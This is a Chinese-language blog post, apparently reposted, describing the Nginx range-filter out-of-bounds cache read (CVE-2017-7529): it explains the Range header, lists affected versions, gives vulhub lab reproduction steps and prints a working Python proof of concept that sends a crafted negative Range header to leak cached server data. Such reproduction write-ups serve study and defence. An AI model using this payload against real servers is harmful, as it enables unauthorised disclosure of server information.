0


Nginx越界读取缓存漏洞(CVE-2017-7529)

注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关!!!

理论知识

range

    The **
Range

** 是一个请求首部,告知服务器返回文件的哪一部分。在一个

Range

首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206

Partial Content

状态码。假如所请求的范围不合法,那么服务器会返回 416

Range Not Satisfiable

状态码,表示客户端错误。服务器允许忽略

Range

首部,从而返回整个文件,状态码用 200 。

range格式:

Range: <unit>=<range-start>-
Range: <unit>=<range-start>-<range-end>
Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>

range事例:

Range: bytes=500-999 //表示第 500-999 字节范围的内容
Range: bytes=-500 // 表示最后 500 字节的内容
Range: bytes=500- //表示从第 500 字节开始到文件结束部分的内容
Range: bytes=500-600,601-999 //同时指定几个范围

漏洞原理

    主要是因为在通过range读取缓存的时候,当我们构造了两个负值得位置,则我们可以读取到缓存文件中比敏感的服务器信息。

影响版本:Nginx 的 0.5.6 - 1.13.2版本

漏洞复现

一、vulhub搭建起靶场

二、vulhub中有自带的poc

三、直接python3 poc.py http://your-ip:8080

总结

    这个漏洞主要会导致敏感信息泄露,说实话没看到有啥敏感的信息,明白了为啥说这个漏洞比较废。但是嘞我们还是应该重视起来。

POC

import sys
import requests

if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()

headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

参考文章:

Range - HTTP | MDNThe Range 是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range 首部,从而返回整个文件,状态码用 200 。https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Range

Nginx整数溢出漏洞CVE-2017-7529 - 知乎漏洞简介 NginxNginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。其特点是占有内存少,并发能力较强,Nginx 可以在大多数 UnixLinux OS 上编译运行…https://zhuanlan.zhihu.com/p/34155943

Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 - qweg_focus - 博客园Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 漏洞概述 ​在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的https://www.cnblogs.com/qweg/p/16549957.html

Nginx配置——反向代理_止步前行的博客-CSDN博客_nginx反向代理Nginxhttps://blog.csdn.net/zxd1435513775/article/details/102508463

漏洞复现-CVE-2017-7529-敏感信息泄露 - 铺哩 - 博客园Nginx敏感信息泄露漏洞(CVE-2017-7529)https://www.cnblogs.com/cute-puli/p/13282355.html

标签: 安全

本文转载自: https://blog.csdn.net/qq_58000413/article/details/126944659
版权归原作者 不习惯有你 所有, 如有侵权,请联系我们删除。

“Nginx越界读取缓存漏洞(CVE-2017-7529)”的评论:

还没有评论